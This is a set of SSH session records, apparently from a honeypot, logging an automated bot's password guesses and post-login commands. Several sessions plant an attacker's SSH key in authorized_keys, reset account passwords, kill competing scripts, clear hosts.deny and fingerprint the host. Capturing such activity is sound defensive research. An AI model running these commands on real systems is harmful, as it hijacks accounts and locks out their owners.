{"id":"c7314bfa-f3f5-4b8f-b033-8ec79289284e","name":"austere-sincere-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":761,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:51:09.138548+00:00","ended_at":"2026-08-26T14:51:10.441004+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:50:40.920953+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:50:41.683097+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:50:48.542197+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:50:49.270718+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:50:50.031529+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UrOXLwOuqXXr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:50:50.791080+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:50:51.553504+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:50:52.412144+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:50:53.169376+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:50:54.387386+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:50:55.151967+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:50:56.406217+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:50:57.170117+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:50:57.926378+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:50:58.687091+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:50:59.033733+00:00","kind":"output","latency_ms":null,"data":" 14:50:59 up 6 days, 11:41,  0 user,  load average: 0.03, 0.03, 0.03\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:50:59.794579+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:51:00.205579+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:51:00.970030+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:51:01.724197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:51:02.483826+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:51:02.888668+00:00","kind":"output","latency_ms":null,"data":"top - 14:51:02 up 6 days, 11:41,  0 user,  load average: 0.03, 0.03, 0.03\nTasks: 111 total,   1 running, 110 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9056 free,    6831 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:51:03.650695+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:51:04.164422+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:51:04.925356+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:51:05.622136+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:51:06.384112+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:51:06.763152+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:51:07.522843+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:51:08.377745+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:51:09.139445+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:51:10.196465+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"7895123","method":"password","accepted":true,"tier":"other"}]}
{"id":"42dbeb4f-c305-4fc9-adee-c67698401c0c","name":"mottled-ivory-goldcrest","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40798,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:50:46.684762+00:00","ended_at":"2026-08-26T14:50:48.301792+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"da699d48-d0b7-4778-aaeb-990f6b13e0e4","name":"frugal-grassy-caribou","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40735,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:50:43.443536+00:00","ended_at":"2026-08-26T14:50:45.161923+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"b071e9c4-ac61-4511-9399-3afd4d66dcdb","name":"proud-lively-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40731,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":748,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:48:13.256128+00:00","ended_at":"2026-08-26T14:48:14.554042+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:47:44.915226+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:47:45.661930+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:47:52.688806+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:47:53.170491+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:47:53.918595+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CpNfHELTtRSh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:47:54.664153+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:47:55.410332+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:47:56.103222+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:47:56.850903+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:47:57.958138+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:47:58.706500+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:47:59.961837+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:48:00.711828+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:48:01.140860+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:48:01.889510+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:48:02.773860+00:00","kind":"output","latency_ms":null,"data":" 14:48:02 up 6 days, 11:38,  0 user,  load average: 0.22, 0.19, 0.18\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:48:03.522749+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:48:04.258743+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:48:05.007047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:48:05.328503+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:48:06.072994+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:48:06.442513+00:00","kind":"output","latency_ms":null,"data":"top - 14:48:06 up 6 days, 11:38,  0 user,  load average: 0.22, 0.19, 0.18\nTasks: 104 total,   1 running, 103 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7149 free,    8738 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:48:07.190038+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:48:07.622047+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:48:08.370774+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:48:09.127107+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:48:09.874953+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:48:10.394166+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:48:11.142504+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:48:12.508255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:48:13.256814+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:48:14.315691+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"panasonic","method":"password","accepted":true,"tier":"other"}]}
{"id":"3f4843ca-6988-452a-9d91-6778f499676c","name":"rustic-bold-raven","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40733,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:47:50.602572+00:00","ended_at":"2026-08-26T14:47:52.450661+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"363db9d3-04ef-460d-8d6a-b598dfb87da4","name":"prickly-bashful-hedgehog","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40732,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:47:47.419789+00:00","ended_at":"2026-08-26T14:47:49.108549+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"15f36d52-8e35-4540-ae3a-b8462d29a97e","name":"pleasant-blunt-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40728,"username":"seekcy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":758,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:45:22.843666+00:00","ended_at":"2026-08-26T14:45:24.423409+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2277,"events":[{"seq":1,"at":"2026-08-26T14:44:55.092849+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:44:55.851069+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:45:02.378793+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:45:02.797710+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:45:03.556730+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Joysuch@Locate2022\\nPE5xQmirbxQL\\nPE5xQmirbxQL\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:45:04.312962+00:00","kind":"input","latency_ms":null,"data":"echo \"Joysuch@Locate2022\\nPE5xQmirbxQL\\nPE5xQmirbxQL\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:45:05.072467+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:45:05.467021+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:45:06.226825+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:45:07.231367+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:45:07.990716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:45:08.862191+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:45:09.626499+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:45:10.230999+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:45:10.989823+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:45:11.340742+00:00","kind":"output","latency_ms":null,"data":" 14:45:11 up 6 days, 11:35,  0 user,  load average: 0.29, 0.22, 0.32\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:45:12.099950+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:45:12.774525+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:45:13.531243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:45:14.417324+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:45:15.175858+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:45:15.447855+00:00","kind":"output","latency_ms":null,"data":"top - 14:45:15 up 6 days, 11:35,  0 user,  load average: 0.29, 0.22, 0.32\nTasks: 115 total,   1 running, 114 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9056 free,    6831 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:45:16.214366+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:45:16.945733+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:45:17.704564+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:45:18.415762+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:45:19.177688+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:45:20.036126+00:00","kind":"output","latency_ms":null,"data":"seekcy"},{"seq":29,"at":"2026-08-26T14:45:20.795200+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:45:22.086237+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:45:22.844408+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:45:24.180643+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"seekcy","password":"Joysuch@Locate2022","method":"password","accepted":true,"tier":"other"}]}
{"id":"ada8b79d-a1fa-47ad-a8eb-38d000cdfa06","name":"watchful-western-caracal","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40730,"username":"seekcy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:45:00.989319+00:00","ended_at":"2026-08-26T14:45:02.138252+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"seekcy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"e4425f06-888b-42cb-b349-9243182ed95f","name":"vivid-vernal-gibbon","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40729,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:44:57.579493+00:00","ended_at":"2026-08-26T14:44:59.484652+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"7598bea9-4da1-47d8-b026-d1a203a68e23","name":"sincere-tender-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40725,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":747,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:42:31.000515+00:00","ended_at":"2026-08-26T14:42:32.380142+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:42:04.254291+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:42:05.000706+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:42:10.872593+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:42:11.579531+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:42:12.324999+00:00","kind":"input","latency_ms":null,"data":"echo \"root:AOXwByFCnX70\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:42:13.070258+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:42:13.816489+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:42:14.388557+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:42:15.136129+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:42:16.099410+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:42:16.853735+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:42:17.911872+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:42:18.662674+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:42:19.225044+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:42:19.971674+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:42:20.635937+00:00","kind":"output","latency_ms":null,"data":" 14:42:20 up 6 days, 11:32,  0 user,  load average: 0.06, 0.05, 0.06\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:42:21.380884+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:42:22.013068+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:42:22.762409+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:42:23.261283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:42:24.012143+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:42:24.581570+00:00","kind":"output","latency_ms":null,"data":"top - 14:42:24 up 6 days, 11:32,  0 user,  load average: 0.06, 0.05, 0.06\nTasks: 129 total,   1 running, 128 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6831 free,    9056 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   